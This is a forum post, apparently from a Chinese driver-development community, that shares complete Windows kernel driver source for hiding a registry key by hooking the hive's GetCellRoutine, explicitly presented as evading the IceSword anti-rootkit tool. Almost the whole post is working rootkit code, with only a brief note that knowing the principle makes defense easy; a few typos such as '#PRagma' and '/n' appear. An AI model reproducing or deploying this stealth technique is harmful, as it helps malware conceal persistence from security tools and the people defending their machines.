發一段隱藏注冊表項的驅動代碼,可以過目前最新的IceSWord1.22。
以前驅動開發網懸賞挑戰IceSword時寫的,不過最后沒公開。那時流氓軟件勢頭正勁,我可不想火上澆油?,F在反流氓軟件日漸成熟,也就沒關系了。知道了原理,防御是非常容易的。
原理很簡單,實現的代碼也很短,啥都不用說,各位直接看示例代碼吧。
#include <ntddk.h>
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl
// 一些CM的數據結構,只列出用到的開頭部分
#PRagma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2]; // Stable and Volatile
HANDLE SubKeyLists[2]; // Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隱藏的主鍵名
WCHAR g_HideKeyName[] = L"http://Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打開指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx/n", status);
return NULL;
}
return hKey;
}
// 獲取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄獲取對象體
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx/n", status);
return NULL;
}
// 對象體中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx/n", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 獲取父鍵的最后一個子鍵的節點
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 獲取父鍵的節點
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 獲取子鍵的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lx/nIndex = %lx/n", ParentNode, Index);
// 如果為根(二級)索引,獲取最后一個索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx/n", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速葉索引(2k)或散列葉索引(XP/2k3),返回最后的節點
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
// 一般葉索引,返回最后的節點
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
// GetCell例程的鉤子函數
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 調用原函數
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隱藏的節點
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
// 查詢、保存并返回其父鍵的最后一個子鍵的節點
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lx/n", g_LastNode);
// 隱藏的正是最后一個節點,返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一個節點
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
// 清空保存值,并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint("DriverUnload()/n");
// 解除掛鉤
if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
ULONG KeyCellOffset; // KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint("DriverEntry()/n");
pDrvObj->DriverUnload = DriverUnload;
// 查詢BuildNumber
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %d/n", BuildNumber);
// KeyControlBlock結構各版本略有不同
// Cell的值一般小于0x80000000,而Hive正相反,以此來判斷也可以
switch (BuildNumber)
{
case 2195: // Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600: // WinXP
case 3790: // Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
// 打開需隱藏的鍵
hKey = OpenKeyByName(g_HideKeyName);
// 獲取該鍵的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中,保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lx/n", g_pGetCellRoutine);
// 獲取需隱藏的節點并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 掛鉤GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}
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